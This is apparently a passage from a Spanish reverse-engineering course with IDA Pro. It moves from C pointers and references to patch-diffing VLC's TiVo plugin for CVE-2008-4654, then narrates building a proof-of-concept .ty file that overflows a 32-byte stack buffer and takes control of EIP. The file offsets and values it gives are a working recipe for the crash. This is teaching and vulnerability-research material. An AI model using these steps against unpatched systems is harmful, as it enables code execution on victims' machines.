Como hay muchos tipos de datos, existe un tipo de datos más que sirve para guardar y
manejar direcciones de memoria, se llama puntero.

Un puntero es tan solo un tipo de datos más, como int almacena enteros, char caracteres o
float almacena números de punto flotante pues los punteros almacenan direcciones de
memoria.
Por ejemplo en el caso anterior qué pasaría si en vez de imprimir la dirección de pepe,
quisiera guardarla, como es una dirección de memoria, debería usar otra variable de tipo
puntero que la guarde.

int * jose;

se diferencia de

int jose;

en que este último es una variable del tipo entero, mientras que el primero es una variable
del tipo puntero que guarda direcciones de memoria que apuntan a enteros.

O sea no solo al definir un puntero, definimos una variable que guarda una dirección de
memoria, sino que le decimos esa dirección de memoria, a qué tipo de dato apuntara, si
trato de guardar un puntero a otro tipo de dato en este caso fallará.

En el ejemplo anterior.

Vemos que jose sería un puntero a un entero pero aún no tiene asignado ningún valor,
podría asignarle la dirección de memoria de pepe, cuyo valor es un entero, con lo cual
cumplimos ambos puntos, que guarde una dirección de memoria y que dicha dirección
apunte a un int.
Allí vemos que le asignamos a jose la dirección de memoria de pepe que como es un int
estará bien, coinciden los tipos.

Allí ocurre eso, halla la dirección de pepe con LEA y la guarda en jose que como es un
puntero sirve para guardar direcciones de memoria de variables o argumentos y como dicha
variable es un entero, está todo bien , imprimirá el valor de jose que será igual a la dirección
de pepe.
Allí lo vemos y entendemos que un puntero sirve para eso, para almacenar y trabajar con
direcciones de memoria de variables o argumentos.

El pseudocódigo de la función apretando F5.

No nos muestra la variable jose pues para economizar directamente usa &pepe en vez de
jose.

Trataremos de forzarlo cambiando el código en el siguiente ejemplo.

Cuando se llega a esta punto uno dice, pero bueno qué diferencia hay para tener que crear
un tipo de dato especial que guarde direcciones de memoria, no podría usarse un int y que
guarde allí la dirección?

Sería algo así, quitando el asterisco a la definición de jose será un entero, y si allí quiero
guardar la dirección de pepe.

No me deja me da error, así que, no queda otra que usar punteros jeje.
Los punteros además me permiten leer cambiar y trabajar con los valores a los cuales
apuntan.

José guarda la dirección de memoria de la variable pepe y este vale 4 con lo cual quedan
relacionados entre sí, si hago.

*jose = 8;

Se usa el asterisco no solo para definir un puntero, sino también para acceder al contenido
al que apunta(en este caso se llama indirección).

Y como el valor de jose es la dirección de memoria de pepe, jose es un puntero que apunta
al valor de pepe o sea el 4 si lo cambio a 8, cambiare el valor de pepe también.
Vemos que cambiando el contenido de jose, afectamos el valor de pepe, lo cual es lógico,
pues jose tiene como valor la dirección de memoria de pepe y apunta allí, al ahora 8.

Veámoslo en IDA a ver que muestra.

Es importante y por eso paso los ejemplos compilados que entiendan bien esto, y que
debuggeen y constaten hasta estar seguros.

Vemos que lee jose que es la dirección de pepe, y guarda en el contenido el valor 8, si
debuggeamos desde el principio.

Arrancamos el debugger.
Luego que guarda el 4 vemos la dirección de pepe en mi caso 0xB1fd88 y el valor de pepe
4.

si sigo traceando.

Allí con LEA obtiene la dirección de pepe, que queda en ECX y la imprime, sigo traceando.

Luego de que guarda en jose la dirección de pepe, vemos allí que guardo 0xB1Fdd4 que
pasará a ser el valor de jose. (la misma dirección de memoria de pepe).

Vemos como habíamos dicho que IDA muestra esa dirección como

OFFSET DWORD 0xB1Fdd4

Habíamos dicho que OFFSET en IDA significaba una dirección de memoria y el DWORD
que está al lado significa que apunta a un DWORD (int).
Allí pasa el valor de jose a ECX y guarda en su contenido el 8, donde antes estaba el 4.
obvio que el contenido de jose es el valor de pepe, el cual imprime luego.

Vemos que el pseudocódigo sigue trabajando siempre con pepe y no muestra el puntero
jose, directamente en vez de usar punteros, usa modificar directamente el valor de pepe lo
cual funciona pero no es el código original.

Obviamente

pepe =8

es igual que

*jose=8

Pero no usa el puntero jose.


Apretando la Y nos permite definir manualmente una variable, y le pongo que es un puntero
a un int.

Igual el pseudocódigo no muestra cambios, de cualquier forma el código que genera es una
aproximación y optimiza mucho para aclarar, lo cual no se puede tomar como la verdad
revelada jeje.

Veamos el siguiente ejemplo que es un caso donde los punteros son más útiles, cuando hay
que pasarle argumentos a una función.
Vemos que definimos un entero n que vale 4 y le pasamos el valor a una función sumar,
dicha función asigna el 4 a la variable local x le suma 1, y imprime 5, pero al salir n sigue
valiendo 4, pues el ámbito de validez de la variable n es la función main y el ámbito de x es
la función sumar, son variables son diferente ámbito de validez y que cambies una no afecta
a la otra.

Ahora como hago si quiero trabajar dentro de funciones y modificar el valor de n, pasando
así por valor, como hicimos en el ejemplo anterior no nos sirve para nada, pero si usamos
punteros, los cuales sirven para estos casos, los mismos permiten almacenar una dirección
de memoria de una variable de main como en este caso.

La función sumar está definida con un solo un argumento x que es un puntero a un entero.

Y cuando se la llama se le pasa

sumar(&n);
Sabemos que un puntero almacena direcciones de memoria y en este caso le pasamos la
dirección de memoria de n que apunta a un entero, así que está todo bien.

void sumar(int * x)
{
*x+=1;
printf("valor de *x = %x \n", *x);
}

Vemos que incrementamos el contenido de x, con lo cual como x tenía la dirección de


memoria de n, estamos afectando al valor de n, que a pesar de no tener validez aquí,
estamos trabajando con ella, al usar un puntero y al salir su valor habrá cambiado.

Así que n cambio y dentro de main no le hicimos ningún cambio, ni hay referencia a ninguna
operación sobre ella, es que al pasar la dirección de la misma como argumento y trabajar
dentro de la función con un puntero que la recibió, accedemos a su valor y lo modificamos
igualmente.

Veámoslo en IDA.
Vemos que se inicializa n al inicio cuando se le asigna el valor 4, y luego se pasa la
dirección de n como argumento a la función sumar (y no se pasa el valor).

Veamos la función.

arg_0 debería ser un puntero a un entero.


Vemos que allí lee x que es la dirección de memoria de n, y lo pasa a EAX, luego lee el
contenido y lo incrementa en 1 y lo vuelve a guardar en el contenido de EDX.

Allí el valor incrementado de ECX se guarda en el contenido de EDX que es la dirección de


memoria de n.

Por lo tanto vemos que pasar direcciones por medio de punteros nos sirve para trabajar con
los valores de variables de otro ámbito, que si no aquí no podría cambiar.

Veamos el código con f5.


Esta vez no puede optimizar nada x es un puntero a un entero (DWORD) allí lo muestra,
podemos igual en el listado cambiar el tipo de dato de x.

Y veamos cuando hago set type en la función sumar que dice.

Vemos que está bien declarada la variable ahora como puntero.

int * x

Despues de eso si apreto F5 queda aun mejor.


Hay una forma más de hacer esto sin usar punteros, usando lo que llaman en C++
referencias.

Además de los punteros el lenguaje C++ tiene otra característica que son las referencias,
una referencia es por así decirlo un alias o etiqueta de una variable.

int n = 4;
int &ref_n = n;

al poner & delante de una variable en la declaración, lo que hago es crear un alias de la
misma variable que incluso comparten la misma dirección de memoria.

Si lo ejecuto
De esa forma si tengo dos variables que comparten la misma posición de memoria, si
cambio una cambio otra.

Así que cuando cambio una cambiara la otra.

Así que eso me servirá más que nada para escribir más cómodamente la función sumar sin
usar punteros.
Vemos que le paso el valor de n pero la función crea un alias de n que comparten la misma
dirección, así que modificar x es lo mismo que modificar n.

void sumar(int &x)


{
x = x + 1;
}

Vemos que no tenemos que lidiar con contenidos ni nada solo directamente, cambiar el
valor.

Funciona veámoslo en IDA.

La alegría se esfumó
Vemos que todo eso es algo para ayudar a escribir más fácilmente el código fuente, pero a
bajo nivel sigue usando punteros, vemos que no pasa el valor de n sino la dirección como
antes.

Y dentro de la función es lo mismo que antes un puntero. al cual se le incrementa el


contenido.

Así que el alias o referencia es muy cómodo para escribir código, pero a bajo nivel solo
debemos lidiar con punteros.:-(
Hasta la parte 29
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
29
_________________________________________________________________________

Con lo que hemos visto hasta ahora podemos intentar al menos analizar programas reales,
para ellos les daré un ejercicio que en la parte 30 solucionare yo, me gustaría que lo tomen
como algo divertido y que me envíen lo que encuentren.
Aclaro que no es nada fácil, así que no se depriman jeje.
La idea es que les doy dos versiones consecutivas de un programa, así que puede haber en
la más nueva parches que se pueden hallar diffeando o analizando.
Yo les aconsejo hacer un diff como vimos en las partes anteriores y tratar de ver si hay
overflows y me lo envían no es necesario escribir código solo hallar funciones vulnerables
en el que quieran.

Adjuntos están los instaladores en su versión más vieja y nueva, quizás lo mejor sería en
una máquina virtual instalar el viejo hacer un snapshot y luego el nuevo y otro, así se
pueden extraer los archivos para diffear de ambas.

La idea es divertirse y jugar un rato no importa si les sale o no esta bueno intentar.

Cómo ayuda pueden ver el CVE.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4654

La vulnerabilidad es al abrir un archivo de extensión .ty en VLC hasta 0.94 inclusive.

Hasta la parte 30.


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
30
_________________________________________________________________________

Comenzaremos a tratar de solucionar el ejercicio propuesto en la parte 29, es un diff de dos


versiones consecutivas de VLC y se da el CVE para tratar de ayudarse con la información
que contiene el mismo, que es lo que en la realidad casi siempre tenemos.

Luego de instalar en una máquina virtual la versión vulnerable y a versión parchada, miraré
la información del CVE a ver si me da una pista para poder ayudarme a no diffear tanto.

Si miro la carpeta donde está instalado el VLC, veo que el mismo se organiza para manejar
diferentes extensiones con una carpeta llamada plugins.

Veamos si por el nombre hay alguno que indique que trabaja con el formato TIVO o TY.
Bueno hay un libty_plugin.dll que parece ser bastante sospechoso, hagamos el diff en el
mismo.

Vemos que hay cuatro funciones cambiadas, lo que normalmente hacemos es mirarlas
primero a vuelo de pájaro, marcando las más sospechosas para luego si ponernos a
reversear esas solamente más profundamente.

Buscamos un parche que impida un stack overflow, vemos por ejemplo esta función
cambiada.

No se ve que eso impida nada solo una dirección a ESI, no puede haber problema con eso.
Vemos que es solo un cambio en el orden que no afecta en la vulnerable movía esa
dirección a ESI la cual guardaba en la var_1b4 y en la parcheada lo mueve la dirección a
ECX y lo guarda igual en var_1b4, nada por aquí.

En la siguiente lo mismo muchos cambios pero a veces usa otro registro para el mismo
efecto, pero es lo mismo, cambios de orden, esto de abajo no afecta.

Vemos algunos cambios en la forma que calcula var_70 pero no veo que la lea o utilice en
ningún lugar dentro de la función y es una variable local, tampoco se pasa como argumento
ni se compara, lo tendremos en cuenta muy mínimamente, por ahora no es prioridad.
Esa función no tiene nada más, no se ve como candidata, sigamos mirando a vuelo de
pájaro.

La siguiente está muy desordenada, veremos si podemos acomodarla un poco.

Haciendo click derecho - delete matches en los bloques que no coinciden, y luego
marcando los que deben coincidir y haciendo add basic block match.

Hay bloques que se veían muy diferentes al estar mal matcheados pero al emparejarlos
bien

Si los miro se ven iguales ahora salvo que quedan un poco mal dibujados.

A veces funciones que quedan muy desarmadas conviene ayudarse con el turbodiff también
que al menos no se desarman tanto allí.
Por los id de bloque vamos mirando.

Vemos que las variables están corridas pero las comparaciones son similares (68-6c y en la
nueva 60-64)

Tampoco hay cambio de signo en la comparación (JB por JL o algo así, se mantiene)
La inversión de comparación JA por JB, si se invierten los destinos es lo mismo, no cambia
nada.

Sigamos mirando.
A vuelo de pájaro acá se ve bastante similar no hay cambio de signo en la comparación,
cambios menores.

Allí vemos un par de filtros que el viejo no tiene, igual EDI es pisado apenas más adelante,
así que pueden ser casos agregados, los dejamos marcados pero no se ve como
sospechoso de overflow.
Vemos allí el JB en la vieja esta un poco más abajo, hay cambios aquí para estudiar más
adelante si no hallamos nada más.

Recordemos que no estamos reverseando a fondo solo buscando algo que nos llame la
atención como muy probable.
Aquí si se ve algo muy posible que afecte, un campo de la estructura que se compara, y en
uno toma una decisión con JLE y en el otro con JBE eso es un cambio de signo y lo
apuntamos como muy posible.

Es una muy función muy compleja la analizaremos luego ya vimos algo muy posible, lo
anotamos y miremos un poco la última.

En esta función, el mismo campo de la estructura afecta y es más fácil de ver

Es un loop y el valor que decide la salida es un contador que está en var_48 y se va


incrementando y se compara con el máximo.

Antes de entrar en el LOOP se inicializa a cero el contador, creo que esta es más fácil para
empezar a reversear que la anterior, aunque ambas pueden ser la culpable, empezamos
siempre por la mas facil, jeje, esta última.
Empecemos con paciencia pues se ve complejo, renombramos a var_48 como contador.

Obviamente EBP no es la base de la función, en este caso es la dirección de la estructura,


si vemos en casi toda la función se mantiene igual manejándose a partir de EBP + XXXX los
campos de la misma.

EBP toma el valor desde aquí.


A partir de allí EBP es la dirección de la estructura y cambia aquí.

Allí cambia de valor EBP, o sea que entre ambas direcciones EBP se mantiene constante y
es la dirección de la estructura.

Vemos que es una estructura muy grande hay campos 0xbexx lo cual es una estructura
gigante, hagámosla, creo que la mayor parte de los campos son 0xbexx así que podemos
hacer una estructura de largo 0xbf00 que abarque los que vemos para agrandar o achicar
hay tiempo.

Voy a la pestaña estructuras y apreto INSERTAR para agregar una.


Me pongo en ends y apreto D para agregar un campo de un byte.

Hago click derecho - EXPAND STRUCT TYPE.

Le agrego 0xBF00 por un byte más no se muere nadie jeje.


Bueno ahi esta.
Obviamente si fuera posible que el campo 0x0bec8 sea negativo por ejemplo 0xFFFFFFFF,
será menor que los valores positivos (1, 2, etc) que vaya tomando el contador ya que se
considera el signo y el loop se repetirá bastante más de lo pensado.

Puedo renombrar el campo como MÁXIMO ya que se supone que es el valor máximo que
debería repetirse el ciclo antes de salir.

Apreto T

Y debo ir a la estructura a 0xbec8 y crear un campo DWORD ya que es lo que es.

Apreto D varias veces hasta que quede DD.


Lo renombro a máximo.

Puedo apretar la Y y cambiarle el tipo ya que sé que es SIGNED INT, por el JLE que lo
compara.

Ahí quedo mas lindo, el signed int lo pongo aunque no afectara mucho, salvo que use el
decompiler hex rays lo cual no haré por ahora, pero me gusta acomodar bien las cosas.

Seguiré estudiando.
Vemos que hay un malloc, la misma es la función usada para reservar un buffer
dinámicamente, no en el stack, sino en la memoria.

Se le pasa un único argumento que es el tamaño a reservar o size.


Aquí el programa usa el método que ya vimos de guardar en el stack en vez de pushear, ya
sabemos que si hacemos click derecho, podemos arreglar la instrucción.
Allí vemos que el argumento size está en EAX y proviene de hacer varias cuentas.

Vemos cuatro variables del tipo byte a partir de las cuales se realizan las operaciones que
arman el size el cual se le hace al final SHL EAX, 4 antes de pasarlo a malloc.

El shift de bytes SHL EAX, 4 es equivalente a EAX por 16, pero antes de multiplicar lo
guarda en la variable MAXIMO si apreto T veo que es la misma.
Vemos que los valores negativos de máximo son filtrados aquí.

Así que el tema no es un valor negativo de máximo pues el mismo es filtrado


En la función parcheada vemos que no hace el SHL o sea no multiplica por 16,
directamente el valor de la cuenta lo usa como size del calloc.

Vemos que en vez de multiplicar por 16 lo que hace es pasarle a calloc que tiene un
argumento más, el tamaño de cada elemento que es 0x10, con lo cual la multiplicación la
realiza la api, de size por tamaño de cada elemento.
MALLOC o CALLOC se usa para reservar memoria, las direcciones que devuelve son
variables no siempre nos dará una zona con la misma dirección de memoria, más adelante
estudiaremos el heap o la forma de reservar memoria, pero por ahora, nos dará una zona
de memoria para trabajar del tamaño que le pidamos.

En el vulnerable antes de calcular el size multiplica MÁXIMO por 16 y luego lo pasa a malloc
en el parcheado no lo hace y pasa directamente el MÁXIMO a calloc y está calcula
internamente la multiplicación por 16 que es el size de cada elemento.

El problema es que sí MÁXIMO es por ejemplo 0x20 bytes y lo multiplica por 16 será igual a

Reservara 512 bytes y luego copiará 0x20 pues compara dentro del loop y sale cuando el
contador es mayor que máximo.

Ahora que pasa si el valor de MÁXIMO es positivo pero al multiplicarlo por 16 da más chico
que el valor inicial.

Si MÁXIMO es 0x10000001 al multiplicarlo por 16 nos da 0x10 con lo cual se reservaran


solo 0x10 bytes y cuando se copie en el loop ira escribiendo de a 1 hasta que el contador
llegue a 0x10000001 lo cual desborda el buffer copiando más de lo reservado o del size del
buffer, lo cual es la definición de overflow, aunque en este caso no es un stack overflow sino
un heap overflow.
Mientras que en el parcheado el calloc no permite y evita que la multiplicación interna pueda
darse vuelta y ser el resultado menor que el máximo, por lo cual se repara una posible
vulnerabilidad.
Allí probare que pasándole los mismos valores que a malloc, devuelve cero o sea no alloca
y no devuelve ninguna dirección de memoria reservada, mientras que haciéndolo con
malloc, allocaba 0x10 lo cual si funcionaba y escribía dentro de un loop de maximo
0x10000001 provocando BUFFER OVERFLOW,

Allí se ve a la salida del calloc EAX vale cero, mientras que en la vulnerable usa malloc y
alloca igual.

Sigamos analizando a ver qué más hay.


Allí guarda la dirección del buffer reservado en el heap, puedo renombrarlo, para eso iré a
estructuras y apreto D hasta que sea un DWORD.

Lo renombro.

Bueno le pongo con Y que es una variable puntero, que guarda la dirección del buffer que
reservo en el heap, como no sé que hay allí, le puse que es un array de caracteres , o sea
un buffer de bytes pero puedo cambiarlo si veo que es otra cosa.

En el lenguaje IDA es un OFFSET o sea una dirección que apunta a algo.


Bueno como vimos malloc reserva el espacio de memoria del size que le pido y me
devuelve la dirección de dicho buffer la cual guardo como toda dirección en una variable del
tipo puntero.

Allí vemos dentro del loop que toma la dirección y escribe, le suma EDI que es el mismo
contador por 16.

También hay acá dentro del LOOP escribe también en este otro EBX que cambio viene de
ese EDI, tendríamos que ver dónde está escribiendo aquí.
Vemos que esa dirección de destino viene de acá

ECX + 0c es igual a EDI, así que buscaremos de donde viene ECX.

ECX sale de acá


Mueve a ECX el valor de EDI y le suma ESI.

Si apreto T.

Veo que ESI es la dirección del buffer en el HEAP y le suma ECX que viene de EDI que es
el contador, así que en esta función hay heap overflows ya que como vimos máximo puede
ser un valor más grande que el size que se allocó y desborda.

Hay otra modificación que pasa un poco desapercibida.


Veo que hay llamadas a una función stream_Read, podría leer a un buffer temporal una
parte del archivo.

Vemos que allí hay un LEA, así que será un buffer en el stack.

Y las variables que van a continuación son parte del buffer pues no se guarda valor nunca
en ellas, solo se lee, así que es seguro que llenará las variables a continuación cuando llena
el buffer.

Así que el buffer continua hasta aquí.


Ya que var_30 ya tiene referencia como otro buffer, así que marcare para ver el size del
buffer.

Ahora hago click derecho ARRAY y acepto.


Veo que el size es 12.

OOPs veo que el buffer siguiente no lo llena sino que lee bytes de allí, así que es parte del
mismo buffer de arriba porque no puede leer bytes del mismo si no tiene ninguna referencia
donde se llena.
Así que veamos bien si seguimos mirando vemos que el buffer continua hacia abajo hasta
aquí, todas las otras variables intermedias solo tienen acceso de lectura, así que se
inicializan en el mismo buffer.

Ahora si incluso la var_1c es otro buffer que se usa para llenar en otra llamada a
stream_Control.

La cuestión es que es un buffer chico, solo 32 bytes, si se le puede pasar un valor grande
desbordara.

Acá vemos el parche en la nueva sobre ese valor chequea que si es más grande que 8 no
va a stream_Read.
Allí está seguramente dentro de stream_Read habrá algún memcpy que copie DWORDS
por eso compara si es mayor que 8, pues si copia más que 8 dwords, será 8 *4 mayor que
32 que es el largo del buffer, así que poniendo ahí un valor más grande que 8 tendremos un
stack overflow.

Busquemos un archivo .ty para probar.

https://samples.libav.org/TiVo/test-dtivo-junkskip.ty%2B

Ese sample con un poco de ganas lo convertí en un POC que produce el stack overflow,
cambiando el valor que se filtra y ajustando algunos más que hay alrededor para que llegue
al punto del stream_Read.

Allí lo probé en un OLLYDBG en un XP que tengo de pruebas, pero funciona salta a


ejecutar la dirección 0x44434241 que coloque en el archivo.
El siguiente ejercicio es tomar el archivo original y modificarlo armando un POC como el
que hice yo para que produzca el stack overflow, es sencillo, ya está todo analizado con
DEBUGGEAR un poco lo lograran.

Hasta la parte 31
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
31
_________________________________________________________________________

Antes de hacer el ejercicio de la parte anterior voy a poner algo más de explicación sobre
algunos puntos que quedaron un poco oscuros en la velocidad de solucionar el mismo y
luego armaremos el POC.
Uno de los puntos que quedo poco claro es porque a veces aceptamos el largo del array
que nos propone IDA al hacer click derecho-ARRAY y a veces lo cuestionamos como en el
ejercicio anterior y ponemos un valor de largo más grande.
Obviamente eso se realiza por experiencia más que nada, pero vamos a tratar de explicar
con un par de ejemplos cuál es el criterio.

Veamos este ejemplo simple.

Tiene una entrada por teclado para ingresar el size el cual se chequea que no sea mayor o
igual que 0x200 (unsigned).
Luego un loop que se repite la cantidad de veces igual a size, para leer de teclado con
getchar de a un carácter lo que tipeamos.
Esto no sería vulnerable a buffer overflow, porque el size es unsigned, así que no hay
problemas de signo al comparar contra 0x200.
Y luego irá leyendo caracteres y copiando al buffer que como su largo es 0x200 no
desbordara.

Si lo veo con IDA, como lo compile con símbolos ya detecta el buffer correctamente (512
decimal es 0x200), igual si lo compilo nuevamente sin símbolos.

Veamos la representación del stack.


Vemos que aquí no detecta buffer ni nada así que hay que hacerlo a mano, como hay
espacio vacío es muy posible que var_204 sea el buffer, veamos sus referencias.

Allí está una referencia clara cuando imprime el buffer al final, normalmente cuando hay una
referencia con un LEA casi seguro es un buffer, además 0x401190 será printf.

La otra referencia a buffer es dentro del loop cuando lo va llenando con los bytes que lee
con getchar.
Ahora vayamos a la representación del stack y veamos el largo del buffer.

Vemos que nos dice 512 que estaría correcto, pero porque dice 512?
Porque IDA mira el espacio vacío que hay hasta la siguiente variable que es var_4, ahora el
método para asegurarnos es ver donde se guarda por primera vez un valor y donde se usa
a posteriori esa var_4, veamos.
Vemos que hay dos lugares uno donde se inicializa con un valor (se guarda la SECURITY
COOKIE) y otro posterior donde se lee.

Vayamos al primero.

Vemos que mucho antes de que se llene el buffer en el loop, la var_4 toma valor en forma
que no tiene relación con el buffer, por lo cual determinamos que es una variable
independiente y que no pertenece al buffer.
Lo guardo como BUFFER1.exe, aquí IDA no se equivocó.
Ahora haré otro ejemplo a este lo llamaré BUFFER2.exe.

Vemos que el tamaño del buffer sigue de 0x200, todo es igual al ejemplo anterior, salvo que
aquí, imprimo el CUARTO BYTE del buffer, y comparo el QUINTO BYTE con cero y si es
igual imprimo buffer.

Veamos qué pasa cuando lo compilo con símbolos y sin símbolos.

Vemos que con símbolos no hubo problema, sigue detectando el buffer como de 0x200 y el
CUARTO BYTE que imprime.
Vemos que no lo toma como una variable independiente lo cual era mi idea, lee el cuarto
byte del buffer al que accede sumándole 4 (SHL EDX, 2 es igual a multiplicar EDX por 4) y
luego se lo suma a la dirección de inicio del buffer para buscar el valor del cuarto byte.

Aquí multiplica EDX por 5 y se lo suma al inicio del buffer para apuntar y hace MOVSX a
EAX el contenido luego si es distinto de cero evita imprimir.

Vemos claramente que el buffer no fue afectado y que con símbolos IDA sigue detectando
bien el largo del mismo, veamos sin símbolos.

Lo abro y veo que IDA no se equivocó, no asigna una variable a los valores cuarto y quinto
del buffer (aunque hay casos en que si lo hace) sigue dándome 512 de largo porque la
siguiente variable sigue siendo var_4 el CANARY, si por algún motivo IDA detectara esos
bytes cuarto y quinto como variables, obviamente no serían independientes, pues solo se
llenan en el momento que se llena el buffer, fuera de eso no hay otro lugar donde guarda
valores allí, por lo cual las debo considerar como parte del buffer.

Ahora ya que no me sale compilando un ejemplo donde se equivoque IDA, comparamos


con el buffer del ejercicio, tomando como base que cuando IDA nos sugiere un largo de un
buffer hay que seguir buscando hacia abajo la primera variable independiente (que se
inicializa en otro lugar diferente al buffer), que sería el verdadero límite del buffer.

Veamos el buffer del ejercicio.

Ese LEA es muy posible un buffer en el stack que le pasa a la función stream_Read,
renombrémoslo a buffer.

Vayamos mirando las variables que hay hacia abajo, para ver cuál es la primera
independiente del buffer.

Voy apretando X en cada una.


Allí veo como deje en el listado el cursor en el LEA donde va a leer al buffer, que usa esa
variable más abajo (DOWN), y no tiene sentido que la use si no hay ninguna otra referencia
donde se guarde algún valor inicial, el único lugar posible es cuando llena el buffer, lo
mismo pasa con las siguientes variables en todas pasa lo mismo.

Mismo caso, pertenece al buffer.

La primera que tiene una referencia distinta es.


Que parece un buffer pues tiene un LEA, miremos.

Vemos que si es un buffer pero que es parte del mismo buffer anterior, pues no tiene ningún
lugar independiente donde se llene, ya la primera referencia se pasa como source a un reps
movs para lo cual ya tiene que tener valores guardados para poder copiarlos a otro lugar,
También marca DOWN o sea que se usa después del llenado del buffer original, así que
nada sigamos bajando.

Sigue en todas las variables siguientes solo leyendo más abajo de donde se llena el buffer
hasta acá.
Este muestra un LEA y UP o sea que está más arriba de donde se llena el buffer original.

Vemos que este es otro buffer pero independiente del original.

Se le pasa como argumento a stream_Control y se llena allí, así que encontramos la


primera variable independiente y por eso el buffer termina justo antes de esta variable.

No había visto por hacerlo con velocidad que hay otra llamada a stream_Read más arriba
con el mismo buffer.
Igual el análisis es el mismo no hay ninguna de las variables hasta la 1c que tenga
referencias de escritura en las mismas, antes de alguno de los lugares donde se llena el
buffer.

Quedo de 32 bytes, y todas las variables que quedaron dentro del buffer pudimos verificar
que son internas del mismo, y no son independientes.

Lo otro que me preguntaron es como me di cuenta que stream_Read podría escribir la


cantidad de bytes que le pasamos a un buffer, el nombre sugiere eso, además el parche
que limita el valor que llega allí a que si es mayor que 8 me dio que sospechar que es el
size máximo que copiara.

Allí vemos que va a stream_Read sigamos con enter allí.


Allí vemos que es una función importada de libvlccore.dll, así que la busco en la versión
vulnerable y la abro en otro IDA.

Veo que la función depende de un arg_0 que es una constante que viene de la llamada,
pues según esa constante decide adonde saltar. [eax+2c].

Podría reversear para hallar adonde salta pero como voy a armar el POC y para eso tengo
que debuggear lo resolveré debuggeando.

Para los que preguntaron que era un POC es un proof of concept que no es un exploit
completo, pero demuestra la vulnerabilidad, creando un archivo ty en este caso, que
desborde el buffer de 32 bytes.

Como lo tengo remoto al programa lo atacheare con el debugger remoto, el que lo tenga
local elige el debugger local y lo atachea.
Primero voy a ver de dónde sale ese valor ESI que tiene el size a copiar y que se ve que
proviene de var_58, lo renombrare a size_a_copiar.

Vemos donde lo guarda y que le realiza una división con IDIV, pero primero vayamos a
donde lo guarda.

Vemos que ese EDI que se guarda en size_a_copiar viene de otra variable var_5c y que le
suma 8, renombrare.
Vemos que todo sale del primer llamado a stream_Read, saca los bytes de la posición 14-
15-16 y 17 y lo armara para mediante shl y or quede el DWORD seguramente en
size_a_copiar_menos_8.

Ponemos un breakpoint allí en el LEA

Atacheemos el programa y arrastramos y soltamos el archivo .ty original en el VLC.


Allí lo tengo al VLC abierto en mi máquina virtual y al win32_remote.exe

Atacheo.
Después de reproducir un rato para en el Breakpoint.

Paso con F7 y veo en EDX la dirección del BUFFER.

hago click en la flechita al lado de EDX teniendo el foco en el listado.

Ahora puedo hacer click derecho y crear el array ahí en la memoria, de 32 bytes decimal.
Allí quedo.

Ponemos un breakpoint on write en el primer dword del buffer para ver que pare cuando lo
llene dentro de stream_Read.
Al dar RUN para en la msvcrt en un rep movsd copiando al buffer.

En el menú DEBUGGER- DEBUGGER WINDOWS-MODULE LIST sale la lista de módulos


y ahi busco msvcrt.dll.
Hago click derecho ANALIZE MODULE y cuando termina hago LOAD DEBUG SYMBOLS y
ahora se ve más linda la función y podemos ver en el call stack donde estamos realmente.
EN DEBUGGER-DEBUGGER WINDOWS -STACK TRACE.

Vemos que estamos dentro de un memcpy y de donde viene.

Lo cierto es que reps movs copia desde lo que apunta ESI que es el source a lo que apunta
EDI que es el destino, y ECX es la cantidad de dwords a copiar, veamos a qué apunta ESI
hacemos click en la flechita al lado de ESI pero teniendo el foco en HEX DUMP para ver allí.

Eso es lo que copia en el BUFFER abramos el archivo .ty en un editor hexa y aquí
hagamos.
Marquemos 32 bytes y hagamos EDIT-EXPORT DATA para copiar los bytes marcados en
el formato que queremos.

Creo que asi quedara mejor.


Así que ya encontramos los bytes que lee del archivo, sabemos que el 14-15-16 y 17 son
los que armaran el valor, le sumará 8 y hará una división y llegará al valor, veamos cual es
aquí.

Es ese 00 00 00 02 pongamos un breakpoint para que pare al volver del stream_Read de


nuevo en la dll libty_plugin.
Lo tuve que tirar de nuevo porque se cayó el IP

Ahora el buffer está acá.

Lo puedo poner en hex dump y sumarle 0x14 a la dirección del buffer y veo que es el 00 00
00 02 que habíamos visto en el archivo.

Traceemos a ver que hace.

Vemos que todo eso es para armar el DWORD y pasarlo a EDI, luego debería sumarle 8.
Y más adelante hará un IDIV lleguemos ahí.

Allí está el 0x0a que provino del 0x02 que leyó del archivo y le sumó 8, quedando 0xa.

IDIV es la división con signo dividirá EDX:EAX por el size a copiar el que no se modificara,
el problema es que si subo mucho el size a copiar la división dará cero y eso es el valor que
va al MALLOC luego de multiplicarlo por 16, así que debemos manejar bien esta división
para que no de cero.

EDX:EAX es 00000000:00000148 y se divide por 0A, si vemos en el archivo el 0x148 está


cerca del 00000002.
Así que si subo el 02 tendré que subir también el 0x148 para que la división no de cero, lo
hare.

De esa forma veremos si llega al stream_Read con un size grande mayor que 8 que
desborde el buffer, lo volvemos a tirar con este archivo modificado.

Alli arma el 0x4647 en EDI, luego le sumará 8.

Luego hará el IDIV 0000000:AA48 dividido 0x464f


El resultado de la división queda en EAX y es 2.

Ese es el máximo que va a multiplicar por 16 y llamar a malloc, como no estamos


explotando el heap overflow, mientras que alloque estará bien.

Así que llama a malloc con el tamaño 0x20, allocara sin problema.
Va al bloque donde está la vulnerabilidad, con el size_a_copiar 0x464f que obviamente es
mayor que 8, lo que en la versión parcheada lo tiraría fuera y no habría overflow.

Le colocó breakpoints en el buffer, ECX apunta al mismo, voy allí y le pongo hardware
breakpoint on read write para que pare cuando comience a llenar el buffer.

Le daré F9 para que pare cuando copie al buffer.


ECX está copiando 1192 dwords ya que rep movsd es REPETIR MOV DWORDS, así que el
total que escribirá en un buffer de 32 bytes es 0x1192 x4 o sea 0x4648 que proviene de
redondear el 0x4647 que puse en el archivo.

Ahora llegaré hasta el ret ya que seguro pisa el mismo por el largo que tiene lo que copia al
buffer.

Voy haciendo RUN TILL RETURN o CTRL más f7 y vuelve a la función principal, donde
está alojado el buffer al llegar al ret de la misma debería crashear.
Pongo un breakpoint en el ret de la función y deshabilito todos los otros.

Veo que el stack está destruido porque pise todo alli, voy a HEX VIEW y apreto la flechita al
lado de ESP.

Busco esa cadena en el archivo.


Esos son los valores que va a saltar ya que pisamos el return address, lo cambiare por .

Ahora lo tiró con este archivo modificado.


Listo ahora si ejecuto ya tomó control de EIP que es el objetivo de un POC, o de la mayoría
algunos ni llegan a eso solo rompen el programa y listo.

